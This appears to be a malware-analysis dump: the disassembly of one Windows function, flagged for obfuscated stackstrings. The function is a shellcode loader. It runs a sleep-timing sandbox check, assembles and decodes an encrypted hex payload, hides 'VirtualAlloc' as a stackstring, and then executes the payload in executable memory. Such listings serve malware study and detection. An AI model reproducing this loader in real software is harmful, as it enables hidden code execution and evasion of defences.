Function at 0x140001905
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x630
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x5d0], ecx
mov qword [rbp + 0x5d8], rdx
call fcn.1400025c0
call sub.msvcrt.dll_clock
mov dword [rbp + 0x5ac], eax
mov eax, dword [0x14001a010]
add eax, eax
mov dword [0x14001a010], eax
mov ecx, 0x1c7
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sub.msvcrt.dll_clock
mov dword [rbp + 0x5a8], eax
mov ecx, 0x6fa
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5a0], rax
mov eax, dword [rbp + 0x5a8]
sub eax, dword [rbp + 0x5ac]
cmp eax, 0x1c6
jle 0x1400024dc
mov eax, dword [rbp + 0x5a8]
sub eax, dword [rbp + 0x5ac]
cmp eax, 0x22a
jg 0x1400024dc
mov dword [0x14001a010], 0
lea rcx, str.kDHkc
call fcn.140001583
lea rax, str.93008d876556d548
mov qword [rbp + 0x598], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
lea rax, str.b47e182967630fab05c24c4a48f530818f9d61104805061808e9f5a691891a188b0b8b0059515ed0794b9dba6ed383a477
mov qword [rbp + 0x590], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
lea rax, str.342fa41a5290892f78e494d4bc4670534e
mov qword [rbp + 0x588], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rax, str.fd444e466f437c54c4ef81f0d849c8277676656322095dbe3a52c610bf063e4b5b
mov qword [rbp + 0x580], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rax, str.04fedd52306207
mov qword [rbp + 0x578], rax
mov dword [0x14001a014], 0
lea rax, str.110880b8811101f19e78a911b12b996f0340f1472a74f10e605a53e4dd6306d7412d9a39
mov qword [rbp + 0x570], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
lea rax, str.061071955806f5654c0d148803408d5f56603ba3454558d0d0e43a082bd6367263550281afcd9b635d72178
mov qword [rbp + 0x568], rax
mov dword [0x14001a010], 0
lea rax, str.5fff40e4847532c152a11187b111c9b1829756117d198258ad51905c4df
mov qword [rbp + 0x560], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
lea rax, str.c81a34b47410655bb347ed3c45023c11ef009868082e454744c00644dc0400555772c4f45535244280e099858f74266
mov qword [rbp + 0x558], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
lea rax, str.3657445d8e456c5700869f5
mov qword [rbp + 0x550], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rax, str.824bd008898c433828ba018b489
mov qword [rbp + 0x548], rax
mov dword [0x14001a010], 0
lea rax, str.6134c8e1ae4790f01b14ef9a5c40ec02d39d0890ff21b05f44fab994c77248d0f150089235
mov qword [rbp + 0x540], rax
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
lea rax, str.813858842e4071c404244544b0745d06ed835cbc80572c400824263746488c3ee50ec57257efb41944044d1c803330b
mov qword [rbp + 0x538], rax
mov eax, dword [0x14001a010]
add eax, eax
mov dword [0x14001a010], eax
lea rax, str.8dc2c208fd1c08890890c8150a520ba71041abc91d5f2d02e779d9220cbb652b61308c1bd008013aa435f6e
mov qword [rbp + 0x530], rax
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
lea rax, str.55432e37c4f34244852844434e00d44f0c40807ce0bc7
mov qword [rbp + 0x528], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
lea rax, str.57626275641cae722d712d4f39094a3031b54b2c0f2412012d255481d4b44acb01a10bf3f9
mov qword [rbp + 0x520], rax
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
lea rax, str.2fa02ff0910adc985f0c93040f582f48beb3
mov qword [rbp + 0x518], rax
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
lea rax, str.4d67964ed8810a311010fef462c0547884c008804e105bd5774f80d6f580038334efb67363226237adb835c2df2520f0
mov qword [rbp + 0x510], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rax, str.4242c055b4800f301029c2b28b69984bb132a6121
mov qword [rbp + 0x508], rax
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
lea rax, str.39169050f25f0a2d124e63ae500b
mov qword [rbp + 0x500], rax
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
lea rax, str.5bafd6d9c36f69303c28d7ac988389580d8e545474884454c444858e64444535cd045f59ce5d1993657623
mov qword [rbp + 0x4f8], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rax, str.24363b8af9b8d038
mov qword [rbp + 0x4f0], rax
mov dword [0x14001a014], 0
lea rax, str.da8b5323fc3bba90fc40f3818b8110b003815801889d91d9a81f8883f9df8fa965c7b5
mov qword [rbp + 0x4e8], rax
mov eax, dword [0x14001a010]
add eax, eax
mov dword [0x14001a010], eax
lea rax, str.95b5e1e0f840af4ed9dc3426383828a14809070f31c4883652802e3c3514
mov qword [rbp + 0x4e0], rax
mov dword [0x14001a010], 0
lea rax, str.44458f3c4b49468cfc0fa25bdf14a563245373b2f483c9d3233718376
mov qword [rbp + 0x4d8], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
lea rax, str.b43045428700
mov qword [rbp + 0x4d0], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rax, str.90b80b81c1200001198c01aff99118119d293f1182fbe6a65d0cf094e4e7c155e41f860143cf79e2a0035
mov qword [rbp + 0x4c8], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
lea rax, str.094b08080054c345804dc4dd4d55ffe8c384b835c8f304ff64117cf0624422221986a
mov qword [rbp + 0x4c0], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rax, str.c83831cd9d463350500ed04b85e3600280c8b80910c159191ff6
mov qword [rbp + 0x4b8], rax
mov dword [0x14001a010], 0
lea rax, str.c0d91a71968fd
mov qword [rbp + 0x4b0], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rax, str.00ff3043c7
mov qword [rbp + 0x4a8], rax
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
lea rax, str.a3c1d306f5e348d29bb987997881
mov qword [rbp + 0x4a0], rax
mov dword [0x14001a014], 0
lea rax, str.8dda005f006
mov qword [rbp + 0x498], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
lea rax, str.603ae01a800a704f44c5c440f3ebe6533d3e546b8f7d4f06cd
mov qword [rbp + 0x490], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
lea rdx, [rbp - 0x30]
mov eax, 0
mov ecx, 0x92
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
mov word [rdx], ax
add rdx, 2
mov byte [rdx], al
add rdx, 1
mov rdx, qword [rbp + 0x598]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcpy
mov dword [0x14001a010], 0
mov rdx, qword [rbp + 0x590]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x588]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001a014], 0
mov rdx, qword [rbp + 0x580]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x578]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001a010], 0
mov rdx, qword [rbp + 0x570]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x568]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001a014], 0
mov rdx, qword [rbp + 0x560]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x558]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x550]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x548]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x540]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x538]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x530]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x528]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x520]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x518]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x510]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001a010], 0
mov rdx, qword [rbp + 0x508]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x500]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001a010], 0
mov rdx, qword [rbp + 0x4f8]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x4f0]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x4e0]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a010]
add eax, eax
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x4d8]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x4d0]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x4c8]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a010]
add eax, eax
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x4c0]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x4b8]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x4b0]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x4a8]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x4a0]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a010]
add eax, eax
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x498]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x490]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
mov rax, qword [rbp + 0x5d8]
add rax, 8
mov rdx, qword [rax]
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call fcn.1400015d4
mov qword [rbp + 0x488], rax
mov rdx, qword [rbp + 0x488]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400018bc
mov byte [rbp - 0x4d], 0x56
mov byte [rbp - 0x4c], 0x69
mov byte [rbp - 0x4b], 0x72
mov byte [rbp - 0x4a], 0x74
mov byte [rbp - 0x49], 0x75
mov byte [rbp - 0x48], 0x61
mov byte [rbp - 0x47], 0x6c
mov byte [rbp - 0x46], 0x41
mov byte [rbp - 0x45], 0x6c
mov byte [rbp - 0x44], 0x6c
mov byte [rbp - 0x43], 0x6f
mov byte [rbp - 0x42], 0x63
mov byte [rbp - 0x41], 0
lea rax, [rbp - 0x4d]
mov qword [rbp + 0x480], rax
mov byte [rbp - 0x56], 0x6b
mov byte [rbp - 0x55], 0x65
mov byte [rbp - 0x54], 0x72
mov byte [rbp - 0x53], 0x6e
mov byte [rbp - 0x52], 0x65
mov byte [rbp - 0x51], 0x6c
mov byte [rbp - 0x50], 0x33
mov byte [rbp - 0x4f], 0x32
mov byte [rbp - 0x4e], 0
lea rax, [rbp - 0x56]
mov qword [rbp + 0x478], rax
mov rax, qword [rbp + 0x478]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
mov rax, qword [rbp + 0x480]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x470], rax
mov rax, qword [rbp + 0x470]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x4a7
mov ecx, 0
call rax
mov qword [rbp + 0x468], rax
mov rax, qword [rbp + 0x468]
mov rdx, rax
lea rax, [rbp - 0x40]
mov ecx, 0x4a7
mov r8, qword [rax]
mov qword [rdx], r8
mov r8d, ecx
add r8, rdx
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rdx + 8]
and r8, 0xfffffffffffffff8
sub rdx, r8
sub rax, rdx
add ecx, edx
and ecx, 0xfffffff8
shr ecx, 3
mov edx, ecx
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x468]
call rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add edx, eax
mov eax, dword [0x14001a018]
add eax, edx
mov edx, eax
lea rcx, [0x14001b76b]
call fcn.140001583
jmp 0x1400024fe
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
lea rcx, str.kDHkc
call fcn.140001583
nop
add rsp, 0x630
pop rsi
pop rdi
pop rbp
ret